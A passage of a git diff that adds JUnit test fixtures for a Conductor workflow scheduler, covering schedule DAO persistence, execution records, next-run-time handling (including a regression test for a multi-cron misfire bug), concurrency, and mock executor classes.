assertTrue(result.containsKey("find-a")); + assertTrue(result.containsKey("find-c")); + assertFalse(result.containsKey("find-b")); + assertFalse(result.containsKey("no-such-schedule")); + } + + @Test + public void testFindAllByNames_emptySet_returnsEmpty() { + Map result = dao().findAllByNames(Set.of()); + assertNotNull(result); + assertTrue(result.isEmpty()); + } + + @Test + public void testFindAllByNames_nullSet_returnsEmpty() { + Map result = dao().findAllByNames(null); + assertNotNull(result); + assertTrue(result.isEmpty()); + } + + @Test + public void testDeleteSchedule_removesScheduleAndExecutions() { + dao().updateSchedule(buildSchedule("to-delete", "some-wf")); + WorkflowScheduleExecutionModel exec = buildExecution("to-delete"); + dao().saveExecutionRecord(exec); + + dao().deleteWorkflowSchedule("to-delete"); + + assertNull(dao().findScheduleByName("to-delete")); + assertNull(dao().readExecutionRecord(exec.getExecutionId())); + } + + @Test + public void testDeleteSchedule_cascadesMultipleExecutions() { + dao().updateSchedule(buildSchedule("cascade-delete", "some-wf")); + for (int i = 0; i < 5; i++) { + dao().saveExecutionRecord(buildExecution("cascade-delete")); + } + + dao().deleteWorkflowSchedule("cascade-delete"); + + assertNull(dao().findScheduleByName("cascade-delete")); + assertTrue(dao().getPendingExecutionRecordIds().isEmpty()); + } + + @Test + public void testDeleteSchedule_nonExistent_doesNotThrow() { + dao().deleteWorkflowSchedule("does-not-exist"); + } + + // ========================================================================= + // 2. JSON round-trip fidelity + // ========================================================================= + + @Test + public void testScheduleJsonRoundTrip_allFields() { + WorkflowScheduleModel schedule = buildSchedule("round-trip-schedule", "round-trip-wf"); + schedule.setZoneId("America/New_York"); + schedule.setPaused(true); + schedule.setPausedReason("maintenance window"); + schedule.setScheduleStartTime(1_000_000L); + schedule.setScheduleEndTime(2_000_000L); + schedule.setRunCatchupScheduleInstances(true); + schedule.setCreateTime(12345L); + schedule.setUpdatedTime(67890L); + schedule.setCreatedBy("alice"); + schedule.setUpdatedBy("bob"); + schedule.setDescription("Daily business hours schedule"); + schedule.setNextRunTime(99999L); + dao().updateSchedule(schedule); + + WorkflowScheduleModel found = dao().findScheduleByName("round-trip-schedule"); + + assertNotNull(found); + assertEquals("America/New_York", found.getZoneId()); + assertTrue(found.isPaused()); + assertEquals("maintenance window", found.getPausedReason()); + assertEquals(Long.valueOf(1_000_000L), found.getScheduleStartTime()); + assertEquals(Long.valueOf(2_000_000L), found.getScheduleEndTime()); + assertTrue(found.isRunCatchupScheduleInstances()); + assertEquals(Long.valueOf(12345L), found.getCreateTime()); + assertEquals(Long.valueOf(67890L), found.getUpdatedTime()); + assertEquals("alice", found.getCreatedBy()); + assertEquals("bob", found.getUpdatedBy()); + assertEquals("Daily business hours schedule", found.getDescription()); + assertEquals(Long.valueOf(99999L), found.getNextRunTime()); + } + + @Test + public void testExecutionJsonRoundTrip_allFields() { + dao().updateSchedule(buildSchedule("exec-rt-schedule", "exec-rt-wf")); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("exec-rt-wf"); + req.setVersion(2); + + WorkflowScheduleExecutionModel exec = buildExecution("exec-rt-schedule"); + exec.setWorkflowId("wf-instance-456"); + exec.setWorkflowName("exec-rt-wf"); + exec.setReason("Something went wrong"); + exec.setStackTrace( + "java.lang.RuntimeException: Something went wrong\n\tat Foo.bar(Foo.java:42)"); + exec.setState(WorkflowScheduleExecutionModel.State.FAILED); + exec.setStartWorkflowRequest(req); + dao().saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao().readExecutionRecord(exec.getExecutionId()); + + assertNotNull(found); + assertEquals("wf-instance-456", found.getWorkflowId()); + assertEquals("exec-rt-wf", found.getWorkflowName()); + assertEquals("Something went wrong", found.getReason()); + assertNotNull(found.getStackTrace()); + assertTrue(found.getStackTrace().contains("RuntimeException")); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertNotNull(found.getStartWorkflowRequest()); + assertEquals("exec-rt-wf", found.getStartWorkflowRequest().getName()); + assertEquals(Integer.valueOf(2), found.getStartWorkflowRequest().getVersion()); + } + + // ========================================================================= + // 3. Execution tracking + // ========================================================================= + + @Test + public void testSaveAndReadExecutionRecord() { + dao().updateSchedule(buildSchedule("exec-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("exec-test"); + dao().saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao().readExecutionRecord(exec.getExecutionId()); + assertNotNull(found); + assertEquals(exec.getExecutionId(), found.getExecutionId()); + assertEquals("exec-test", found.getScheduleName()); + assertEquals(WorkflowScheduleExecutionModel.State.POLLED, found.getState()); + } + + @Test + public void testSaveExecutionRecord_idempotent() { + dao().updateSchedule(buildSchedule("idem-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("idem-test"); + dao().saveExecutionRecord(exec); + dao().saveExecutionRecord(exec); + + List pending = dao().getPendingExecutionRecordIds(); + assertEquals( + "Saving the same execution record twice must not produce duplicate rows", + 1, + pending.size()); + } + + @Test + public void testUpdateExecutionRecord_transitionToExecuted() { + dao().updateSchedule(buildSchedule("state-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("state-test"); + dao().saveExecutionRecord(exec); + + exec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + exec.setWorkflowId("conductor-wf-123"); + dao().saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao().readExecutionRecord(exec.getExecutionId()); + assertEquals(WorkflowScheduleExecutionModel.State.EXECUTED, found.getState()); + assertEquals("conductor-wf-123", found.getWorkflowId()); + } + + @Test + public void testUpdateExecutionRecord_transitionToFailed() { + dao().updateSchedule(buildSchedule("fail-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("fail-test"); + dao().saveExecutionRecord(exec); + + exec.setState(WorkflowScheduleExecutionModel.State.FAILED); + exec.setReason("No such workflow defined. name=missing-wf, version=1"); + exec.setStackTrace( + "com.netflix.conductor.core.exception.NotFoundException: No such workflow\n\tat ..."); + dao().saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao().readExecutionRecord(exec.getExecutionId()); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertNotNull(found.getReason()); + assertTrue(found.getReason().contains("missing-wf")); + assertNotNull(found.getStackTrace()); + } + + @Test + public void testRemoveExecutionRecord() { + dao().updateSchedule(buildSchedule("remove-exec", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("remove-exec"); + dao().saveExecutionRecord(exec); + + dao().removeExecutionRecord(exec.getExecutionId()); + + assertNull(dao().readExecutionRecord(exec.getExecutionId())); + } + + @Test + public void testGetPendingExecutionRecordIds() { + dao().updateSchedule(buildSchedule("pending-test", "wf")); + + WorkflowScheduleExecutionModel polled1 = buildExecution("pending-test"); + WorkflowScheduleExecutionModel polled2 = buildExecution("pending-test"); + WorkflowScheduleExecutionModel executed = buildExecution("pending-test"); + executed.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + + dao().saveExecutionRecord(polled1); + dao().saveExecutionRecord(polled2); + dao().saveExecutionRecord(executed); + + List pendingIds = dao().getPendingExecutionRecordIds(); + assertEquals(2, pendingIds.size()); + assertTrue(pendingIds.contains(polled1.getExecutionId())); + assertTrue(pendingIds.contains(polled2.getExecutionId())); + } + + @Test + public void testGetPendingExecutionRecordIds_afterTransition() { + dao().updateSchedule(buildSchedule("transition-test", "wf")); + + WorkflowScheduleExecutionModel exec = buildExecution("transition-test"); + dao().saveExecutionRecord(exec); + assertTrue(dao().getPendingExecutionRecordIds().contains(exec.getExecutionId())); + + exec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + dao().saveExecutionRecord(exec); + + assertFalse( + "EXECUTED record must not appear in pending list", + dao().getPendingExecutionRecordIds().contains(exec.getExecutionId())); + } + + // ========================================================================= + // 4. Next-run time management + // ========================================================================= + + @Test + public void testSetAndGetNextRunTime() { + dao().updateSchedule(buildSchedule("next-run-test", "wf")); + + long epochMillis = System.currentTimeMillis() + 60_000; + dao().setNextRunTimeInEpoch("next-run-test", epochMillis); + + assertEquals(epochMillis, dao().getNextRunTimeInEpoch("next-run-test")); + } + + @Test + public void testGetNextRunTime_notSet_returnsMinusOne() { + dao().updateSchedule(buildSchedule("no-next-run", "wf")); + assertEquals(-1L, dao().getNextRunTimeInEpoch("no-next-run")); + } + + @Test + public void testUpdateSchedule_resetsNextRunTime() { + WorkflowScheduleModel schedule = buildSchedule("nrt-reset-test", "wf"); + dao().updateSchedule(schedule); + + long epoch = System.currentTimeMillis() + 60_000; + dao().setNextRunTimeInEpoch("nrt-reset-test", epoch); + assertEquals(epoch, dao().getNextRunTimeInEpoch("nrt-reset-test")); + + schedule.setCronExpression("0 0 10 * * *"); + schedule.setNextRunTime(null); + dao().updateSchedule(schedule); + + assertEquals( + "updateSchedule with null nextRunTime must reset the cached column", + -1L, + dao().getNextRunTimeInEpoch("nrt-reset-test")); + } + + // ========================================================================= + // 5. Volume + // ========================================================================= + + @Test + public void testVolume_getAllSchedules_largeCount() { + int count = 100; + for (int i = 0; i < count; i++) { + dao().updateSchedule(buildSchedule("volume-sched-" + i, "wf-" + (i % 10))); + } + + List all = dao().getAllSchedules(); + assertEquals(count, all.size()); + } + + // ========================================================================= + // 6. Concurrency + // ========================================================================= + + @Test + public void testConcurrentUpserts_sameSchedule() throws Exception { + dao().updateSchedule(buildSchedule("concurrent-sched", "wf-initial")); + + int threadCount = 10; + ExecutorService executor = Executors.newFixedThreadPool(threadCount); + CountDownLatch startLatch = new CountDownLatch(1); + CountDownLatch doneLatch = new CountDownLatch(threadCount); + List errors = Collections.synchronizedList(new ArrayList<>()); + + for (int i = 0; i < threadCount; i++) { + final int idx = i; + executor.submit( + () -> { + try { + startLatch.await(); + dao().updateSchedule(buildSchedule("concurrent-sched", "wf-" + idx)); + } catch (Exception e) { + errors.add(e); + } finally { + doneLatch.countDown(); + } + }); + } + + startLatch.countDown(); + assertTrue( + "Concurrent upserts did not complete within 30 s", + doneLatch.await(30, TimeUnit.SECONDS)); + executor.shutdown(); + + assertTrue("Unexpected errors during concurrent upserts: " + errors, errors.isEmpty()); + + List all = dao().getAllSchedules(); + assertEquals( + "Concurrent upserts on the same name must yield exactly one row", 1, all.size()); + assertEquals("concurrent-sched", all.get(0).getName()); + } + + // ========================================================================= + // 7. Case sensitivity + // ========================================================================= + + @Test + public void testFindAllSchedules_caseSensitive() { + dao().updateSchedule(buildSchedule("case-sched", "MyWorkflow")); + + assertEquals(1, dao().findAllSchedules("MyWorkflow").size()); + assertEquals( + "Workflow name lookup must be case-sensitive", + 0, + dao().findAllSchedules("myworkflow").size()); + assertEquals(0, dao().findAllSchedules("MYWORKFLOW").size()); + } + + // ========================================================================= + // 8. Large findAllByNames + error conditions + // ========================================================================= + + @Test + public void testFindAllByNames_largeSet() { + java.util.Set allNames = new java.util.HashSet<>(); + for (int i = 0; i < 50; i++) { + String name = "large-set-" + i; + dao().updateSchedule(buildSchedule(name, "wf")); + allNames.add(name); + } + java.util.Set queryNames = new java.util.HashSet<>(allNames); + for (int i = 50; i < 100; i++) { + queryNames.add("large-set-" + i); + } + Map result = dao().findAllByNames(queryNames); + assertEquals(50, result.size()); + for (String name : allNames) { + assertTrue(result.containsKey(name)); + } + } + + @Test + public void testGetNextRunTime_nonExistentSchedule_returnsMinusOne() { + assertEquals(-1L, dao().getNextRunTimeInEpoch("non-existent-schedule")); + } + + @Test + public void testSetNextRunTime_arbitraryKey_persists() { + // setNextRunTimeInEpoch must store any key, not only registered schedule names. + // Multi-cron schedules use JSON payload keys; rejecting them was the root cause of + // the misfire bug (schedules firing on every poll cycle instead of on their cron time). + long epoch = System.currentTimeMillis() + 60_000; + dao().setNextRunTimeInEpoch("non-existent-schedule", epoch); + assertEquals(epoch, dao().getNextRunTimeInEpoch("non-existent-schedule")); + } + + /** + * BUG REGRESSION — multi-cron next-run-time must survive a DAO round-trip. + * + *

    When a schedule carries multiple cron expressions, {@code SchedulerService} keys + * next-run-time entries by a JSON payload string (e.g. {@code {"name":"s","cron":"0 0 8 * * ? + * UTC","id":0}}) rather than by the schedule name. The DAO must store and retrieve that value + * transparently. + * + *

    SQL backends ({@code UPDATE scheduler SET next_run_time = ? WHERE scheduler_name = ?}) + * silently update 0 rows for a JSON payload key, so {@code getNextRunTimeInEpoch} returns + * {@code -1}. {@code SchedulerService} then maps {@code -1} to epoch 1970 and deduces that the + * schedule is perpetually overdue, causing every multi-cron message to fire on every poll cycle + * instead of waiting for its cron time. + * + *

    This test will FAIL against the current SQL DAO implementations, confirming the bug. It + * should pass once the DAO is fixed to support arbitrary payload keys. + */ + @Test + public void testSetAndGetNextRunTime_withMultiCronPayloadKey() { + // This is the exact key format SchedulerService uses for multi-cron schedule entries: + // buildMultiCronPayload(scheduleName, cronExpr + " " + zoneId, index) + String multiCronPayloadKey = + "{\"name\":\"multi-cron-sched\",\"cron\":\"0 0 8 * * ? UTC\",\"id\":0}"; + long futureEpoch = System.currentTimeMillis() + 3_600_000L; // 1 hour from now + + dao().setNextRunTimeInEpoch(multiCronPayloadKey, futureEpoch); + + long stored = dao().getNextRunTimeInEpoch(multiCronPayloadKey); + assertEquals( + "setNextRunTimeInEpoch must persist multi-cron JSON payload keys. " + + "SQL DAOs currently use UPDATE WHERE scheduler_name=? which silently " + + "skips rows that don't exist, dropping the write. " + + "As a result getNextRunTimeInEpoch returns -1, SchedulerService maps " + + "that to epoch 1970 and treats the schedule as perpetually overdue, " + + "causing multi-cron schedules to fire on every poll cycle.", + futureEpoch, + stored); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + protected WorkflowScheduleModel buildSchedule(String name, String workflowName) { + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + + WorkflowScheduleModel schedule = new WorkflowScheduleModel(); + schedule.setName(name); + schedule.setCronExpression("0 0 9 * * MON-FRI"); + schedule.setZoneId("UTC"); + schedule.setStartWorkflowRequest(startReq); + schedule.setPaused(false); + schedule.setCreateTime(System.currentTimeMillis()); + return schedule; + } + + protected WorkflowScheduleExecutionModel buildExecution(String scheduleName) { + WorkflowScheduleExecutionModel exec = new WorkflowScheduleExecutionModel(); + exec.setExecutionId(UUID.randomUUID().toString()); + exec.setScheduleName(scheduleName); + exec.setScheduledTime(System.currentTimeMillis()); + exec.setExecutionTime(System.currentTimeMillis()); + exec.setState(WorkflowScheduleExecutionModel.State.POLLED); + exec.setZoneId("UTC"); + return exec; + } +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/AbstractSchedulerServiceIntegrationTest.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/AbstractSchedulerServiceIntegrationTest.java new file mode 100644 index 0000000..440d913 --- /dev/null +++ b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/AbstractSchedulerServiceIntegrationTest.java @@ -0,0 +1,351 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.sql.Connection; +import java.time.Instant; +import java.time.ZoneId; +import java.time.ZonedDateTime; +import java.util.List; +import java.util.Optional; +import java.util.UUID; + +import javax.sql.DataSource; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.sync.Lock; +import com.netflix.conductor.service.WorkflowService; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.config.SchedulerProperties; +import io.orkes.conductor.scheduler.listener.ScheduleChangeListenerStub; +import io.orkes.conductor.scheduler.model.WorkflowSchedule; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.*; + +/** + * Integration tests for {@link SchedulerService} using a real {@link SchedulerDAO} (from a concrete + * subclass) and mocked collaborators (WorkflowService, QueueDAO, etc.). + * + *

    Subclasses provide the wired {@link SchedulerDAO} and {@link DataSource} via Spring. This + * abstract class handles DB cleanup between tests and constructs a real {@link SchedulerService} + * instance using {@link MockExecutor} so no background threads are started. + * + *

    Every concrete subclass (Postgres, MySQL) automatically inherits all tests here. + */ +public abstract class AbstractSchedulerServiceIntegrationTest { + + protected abstract SchedulerDAO dao(); + + protected abstract DataSource dataSource(); + + private static final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + protected WorkflowService workflowService; + protected MockQueueDao queueDAO; + protected SchedulerService service; + protected SchedulerTimeProvider timeProvider; + + @Before + public final void setUpService() throws Exception { + try (Connection conn = dataSource().getConnection()) { + conn.prepareStatement("DELETE FROM scheduler_execution").executeUpdate(); + conn.prepareStatement("DELETE FROM scheduler").executeUpdate(); + conn.prepareStatement("DELETE FROM workflow_scheduled_executions").executeUpdate(); + } + workflowService = mock(WorkflowService.class); + timeProvider = mock(SchedulerTimeProvider.class); + queueDAO = new MockQueueDao(); + + SchedulerProperties props = new SchedulerProperties(); + props.setArchivalThreadCount(1); + props.setPollingThreadCount(1); + props.setPollBatchSize(10); + props.setPollingInterval(100); + + service = + new SchedulerService( + mock(SchedulerArchivalDAO.class), + dao(), + workflowService, + queueDAO, + new MockExecutor(), + Optional.empty(), + props, + timeProvider, + mock(Lock.class), + objectMapper, + new ScheduleChangeListenerStub()); + } + + // ========================================================================= + // a. Create-time preservation on update + // ========================================================================= + + @Test + public void testCreateOrUpdate_createTimePreservedOnUpdate() throws Exception { + String scheduleName = "create-time-" + UUID.randomUUID(); + // Thursday, August 26, 2021 5:46:40 PM UTC + long fixedTime = 1630000000000L; + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(fixedTime)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "ct-wf"); + WorkflowSchedule saved1 = service.createOrUpdateWorkflowSchedule(schedule); + long createTime1 = saved1.getCreateTime(); + assertTrue("createTime must be set", createTime1 > 0); + + // Advance time by 5 seconds for the update + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(fixedTime + 5000)); + WorkflowSchedule saved2 = service.createOrUpdateWorkflowSchedule(schedule); + + WorkflowScheduleModel found = dao().findScheduleByName(scheduleName); + assertNotNull(found); + assertEquals( + "createTime must not change on subsequent saves", + createTime1, + found.getCreateTime().longValue()); + assertTrue( + "updatedTime must be later than createTime after an update", + found.getUpdatedTime() > createTime1); + } + + // ========================================================================= + // b. nextRunTime stored and retrievable + // ========================================================================= + + @Test + public void testCreateOrUpdate_nextRunTimeStoredAndRetrievable() throws Exception { + String scheduleName = "next-run-stored-" + UUID.randomUUID(); + // Thursday, August 26, 2021 5:46:40 PM UTC + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "nrt-wf"); + service.createOrUpdateWorkflowSchedule(schedule); + + long stored = dao().getNextRunTimeInEpoch(scheduleName); + assertTrue("DAO-stored next-run time must be positive after create", stored > 0); + } + + // ========================================================================= + // c. handleSchedules creates execution record and fires workflow + // ========================================================================= + + @Test + public void testHandleSchedules_createsExecutionRecordAndFiresWorkflow() throws Exception { + String scheduleName = "handle-exec-" + UUID.randomUUID(); + // Thursday, August 26, 2021 17:46:40 UTC + long createTime = 1630000000000L; + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(createTime)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "handle-wf"); + service.createOrUpdateWorkflowSchedule(schedule); + + // Move nextRunTime to the past so the schedule is due + long pastTime = System.currentTimeMillis() - 5000; + dao().setNextRunTimeInEpoch(scheduleName, pastTime); + + // Advance time to "now" so the schedule fires + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(System.currentTimeMillis())); + when(workflowService.startWorkflow(any())).thenReturn("wf-test-id"); + + // handleSchedules is package-private (@VisibleForTesting) — accessible from same package + service.handleSchedules(List.of(scheduleName)); + + verify(workflowService, times(1)).startWorkflow(any(StartWorkflowRequest.class)); + + // Verify execution record was saved via the archival queue push + // (handleSchedules pushes to the archival queue after saving the execution record) + assertNotNull( + "Archival queue should have a message", + queueDAO.dummyQueues.get( + SchedulerService.CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME)); + assertFalse( + "Archival queue should not be empty", + queueDAO.dummyQueues + .get(SchedulerService.CONDUCTOR_SYSTEM_SCHEDULER_ARCHIVAL_QUEUE_NAME) + .isEmpty()); + } + + // ========================================================================= + // d. handleSchedules advances next-run pointer + // ========================================================================= + + @Test + public void testHandleSchedules_advancesNextRunPointer() throws Exception { + String scheduleName = "pointer-advance-" + UUID.randomUUID(); + long createTime = 1630000000000L; + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(createTime)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "ptr-wf"); + service.createOrUpdateWorkflowSchedule(schedule); + + // Set nextRunTime to past + long pastTime = System.currentTimeMillis() - 5000; + dao().setNextRunTimeInEpoch(scheduleName, pastTime); + + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(System.currentTimeMillis())); + when(workflowService.startWorkflow(any())).thenReturn("wf-id"); + + service.handleSchedules(List.of(scheduleName)); + + long newNextRun = dao().getNextRunTimeInEpoch(scheduleName); + assertTrue( + "Next-run pointer must be advanced to a future time after handling", + newNextRun > System.currentTimeMillis() - 1000); + } + + // ========================================================================= + // e. Delete schedule + // ========================================================================= + + @Test + public void testDeleteSchedule_removesScheduleFromDAO() throws Exception { + String scheduleName = "delete-test-" + UUID.randomUUID(); + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "del-wf"); + service.createOrUpdateWorkflowSchedule(schedule); + assertNotNull(dao().findScheduleByName(scheduleName)); + + service.deleteSchedule(scheduleName); + assertNull( + "Schedule must be removed after deletion", dao().findScheduleByName(scheduleName)); + } + + // ========================================================================= + // f. Pause and resume schedule + // ========================================================================= + + @Test + public void testPauseAndResumeSchedule() throws Exception { + String scheduleName = "pause-resume-" + UUID.randomUUID(); + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "pr-wf"); + service.createOrUpdateWorkflowSchedule(schedule); + + WorkflowScheduleModel found = dao().findScheduleByName(scheduleName); + assertFalse("Schedule should not be paused after creation", found.isPaused()); + + service.pauseSchedule(scheduleName); + found = dao().findScheduleByName(scheduleName); + assertTrue("Schedule must be paused after pauseSchedule()", found.isPaused()); + + service.resumeSchedule(scheduleName); + found = dao().findScheduleByName(scheduleName); + assertFalse("Schedule must be unpaused after resumeSchedule()", found.isPaused()); + } + + @Test(expected = NotFoundException.class) + public void testPauseSchedule_throwsOnMissingSchedule() { + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + service.pauseSchedule("nonexistent-schedule-" + UUID.randomUUID()); + } + + // ========================================================================= + // g. Search schedules + // ========================================================================= + + @Test + public void testSearchSchedules_returnsMatchingResults() throws Exception { + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + String prefix = "search-" + UUID.randomUUID().toString().substring(0, 8) + "-"; + for (int i = 0; i < 3; i++) { + service.createOrUpdateWorkflowSchedule(buildSchedule(prefix + i, "search-wf")); + } + // Create one with a different workflow name + service.createOrUpdateWorkflowSchedule(buildSchedule(prefix + "other", "different-wf")); + + var result = service.searchSchedules("search-wf", null, null, null, 0, 10, null); + assertTrue( + "Search for 'search-wf' should return at least 3 results", + result.getTotalHits() >= 3); + + var allResult = service.searchSchedules(null, null, null, null, 0, 100, null); + assertTrue( + "Search with no filters should return at least 4 results", + allResult.getTotalHits() >= 4); + } + + // ========================================================================= + // h. handleSchedules with paused schedule does not fire + // ========================================================================= + + @Test + public void testHandleSchedules_pausedScheduleDoesNotFire() throws Exception { + String scheduleName = "paused-no-fire-" + UUID.randomUUID(); + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + WorkflowSchedule schedule = buildSchedule(scheduleName, "paused-wf"); + service.createOrUpdateWorkflowSchedule(schedule); + + // Pause it + service.pauseSchedule(scheduleName); + + // Set nextRunTime to the past + dao().setNextRunTimeInEpoch(scheduleName, System.currentTimeMillis() - 5000); + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(System.currentTimeMillis())); + + service.handleSchedules(List.of(scheduleName)); + + verify(workflowService, never()).startWorkflow(any()); + } + + // ========================================================================= + // i. handleSchedules with deleted schedule is a no-op + // ========================================================================= + + @Test + public void testHandleSchedules_deletedScheduleIsNoOp() throws Exception { + when(timeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + // Pass a schedule name that doesn't exist in the DAO + String ghostName = "ghost-" + UUID.randomUUID(); + service.handleSchedules(List.of(ghostName)); + + verify(workflowService, never()).startWorkflow(any()); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + private ZonedDateTime utcTime(long epochMillis) { + return ZonedDateTime.ofInstant(Instant.ofEpochMilli(epochMillis), ZoneId.of("UTC")); + } + + protected WorkflowSchedule buildSchedule(String name, String workflowName) { + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + + WorkflowSchedule schedule = new WorkflowSchedule(); + schedule.setName(name); + schedule.setCronExpression("0 * * * * *"); // every minute + schedule.setZoneId("UTC"); + schedule.setStartWorkflowRequest(startReq); + schedule.setPaused(false); + return schedule; + } +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutor.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutor.java new file mode 100644 index 0000000..eb3171e --- /dev/null +++ b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutor.java @@ -0,0 +1,29 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +public class MockExecutor implements SchedulerServiceExecutor { + + private MockExecutorService executorServiceMainQueuePoll = new MockExecutorService(); + private MockExecutorService executorServiceArchivalQueuePoll = new MockExecutorService(); + + @Override + public MockExecutorService getExecutorServiceMainQueuePoll(int poolSize) { + return executorServiceMainQueuePoll; + } + + @Override + public MockExecutorService getExecutorServiceArchivalQueuePoll(int poolSize) { + return executorServiceArchivalQueuePoll; + } +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutorService.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutorService.java new file mode 100644 index 0000000..fadc20c --- /dev/null +++ b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockExecutorService.java @@ -0,0 +1,115 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.service; + +import java.util.Collection; +import java.util.List; +import java.util.concurrent.*; + +public class MockExecutorService implements ScheduledExecutorService { + + private Runnable command; + + public Runnable getCommand() { + return command; + } + + @Override + public ScheduledFuture scheduleWithFixedDelay( + Runnable command, long initialDelay, long delay, TimeUnit unit) { + this.command = command; + return null; + } + + @Override + public ScheduledFuture schedule(Runnable command, long delay, TimeUnit unit) { + return null; + } + + @Override + public ScheduledFuture schedule(Callable callable, long delay, TimeUnit unit) { + return null; + } + + @Override + public ScheduledFuture scheduleAtFixedRate( + Runnable command, long initialDelay, long period, TimeUnit unit) { + return null; + } + + @Override + public void shutdown() {} + + @Override + public List shutdownNow() { + return null; + } + + @Override + public boolean isShutdown() { + return false; + } + + @Override + public boolean isTerminated() { + return false; + } + + @Override + public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException { + return false; + } + + @Override + public Future submit(Callable task) { + return null; + } + + @Override + public Future submit(Runnable task, T result) { + return null; + } + + @Override + public Future submit(Runnable task) { + return null; + } + + @Override + public List> invokeAll(Collection> tasks) + throws InterruptedException { + return null; + } + + @Override + public List> invokeAll( + Collection> tasks, long timeout, TimeUnit unit) + throws InterruptedException { + return null; + } + + @Override + public T invokeAny(Collection> tasks) + throws InterruptedException, ExecutionException { + return null; + } + + @Override + public T invokeAny(Collection> tasks, long timeout, TimeUnit unit) + throws InterruptedException, ExecutionException, TimeoutException { + return null; + } + + @Override + public void execute(Runnable command) {} +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockQueueDao.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/service/MockQueueDao.java new file mode 100644 index 0000000..0ef327c --- /dev/null +++ 